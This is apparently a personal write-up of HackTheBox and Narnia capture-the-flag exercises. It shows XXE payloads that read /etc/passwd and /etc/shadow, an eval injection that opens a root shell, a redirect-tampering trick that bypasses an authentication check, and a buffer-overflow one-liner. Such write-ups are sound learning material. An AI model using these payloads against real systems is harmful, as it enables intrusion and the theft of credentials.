Boxes
HackTheBox Bounty Hunter
Overview
JS code, used XML as post parameter to retrieve data from some source. It used .val()
attribute to get the value of user input. No sanitation was applied, thus highly vulnerable to XXE injection.
Web Vulnerable Code
function returnSecret(data) {
return Promise.resolve($.ajax({
type: "POST",
data: {"data":data},
url: "tracker_diRbPr00f314.php"
}));
}
async function bountySubmit() {
try {
var xml = `<?xml version="1.0" encoding="ISO-8859-1"?>
<bugreport>
# !!!no sanitation of any kind!!!
<title>${$('#exploitTitle').val()}</title>
<cwe>${$('#cwe').val()}</cwe>
<cvss>${$('#cvss').val()}</cvss>
<reward>${$('#reward').val()}</reward>
</bugreport>`
let data = await returnSecret(btoa(xml));
$("#return").html(data)
}
catch(error) {
console.log('Error:', error);
}
}
Analysis
Using this XXE injection payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/shadow" >]>
<foo>&xxe;</foo>
one can get any file on the system with read permission.
And because this is web based, php://filter/convert.base64-encode/resource=
can be used to get complex file contents, like source code.
Hence, this final payload looks like this:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<bugreport>
<title>&xxe;</title>
<cwe>whatever</cwe>
<cvss>whatever</cvss>
<reward>whatever</reward>
</bugreport>
This will get you the content of passwd
file.
Then, use developer tools, call returnSecret(btoa(xml))
to execute the payload.
We can see the
Python Vulnerable Code
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.
def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()
def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue
if x.startswith("__Ticket Code:__"):
code_line = i+1
continue
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
# this is vulnerable, no sanitation, plus all bultins can be used, like __import__
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
return False
def main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
#DEBUG print(ticket)
result = evaluate(ticket)
if (result):
print("Valid ticket.")
else:
print("Invalid ticket.")
ticket.close
main()
Analysis
The line of vulnerable code is validationNumber = eval(x.replace("**", ""))
. Construct the md
file accordingly, and use common boolean expression to execute arbitrary code. Here, all python builtins
can be used, so __import('os').system('/bin/sh')
is available to get root shell.
HackTheBox Previse
Overview
The website has a login form, default admin:admin
credentials not working, and no sql injections
can be found. After gobuster
it, several interesting pages is found. Like nav.php
. And there is a link to accounts.php
, but the behavior is when you click it you get 302 redirected
to the home page.
Solution
Maybe the redirect is set to disable user registering functionality. But that's not a proper way to do it. We can then intercept every request and response, and on the first response from the server, where is says 302 Found
, change it to 200 OK
, and send the request, you will continue to the page that you want.
CTFs
Revserse
Narnia 1
Overview
Elementary buffer overflow. Have to understand how memory is allocated, and how to manipulate it using buffer overflow. Click to see reference.
Vunerable Code
#include <stdio.h>
#include <stdlib.h>
int main(){
long val=0x41414141;
char buf[20];
printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
printf("Here is your chance: ");
//scanf length (24) exceeds that limit of buf (20), the next 4 bytes
// will be the value of val
scanf("%24s",&buf);
printf("buf: %s\n",buf);
printf("val: 0x%08x\n",val);
if(val==0xdeadbeef){
setreuid(geteuid(),geteuid());
system("/bin/sh");
}
else {
printf("WAY OFF!!!!\n");
exit(1);
}
return 0;
}
Analysis
According to the analysis here, val
gets written to the momery first, so if we draw out the memory, val
will be right above EBX
, and right below buf
. Then problem solved. When you input 24
bytes of data, the last 4
bytes of data will overflow and overwrite val
, which we can control.
(python -c 'print "A" * 20 + "\xef\xbe\xad\xde"'; echo 'cat /etc/narnia_pass/narnia1') | ./narnia0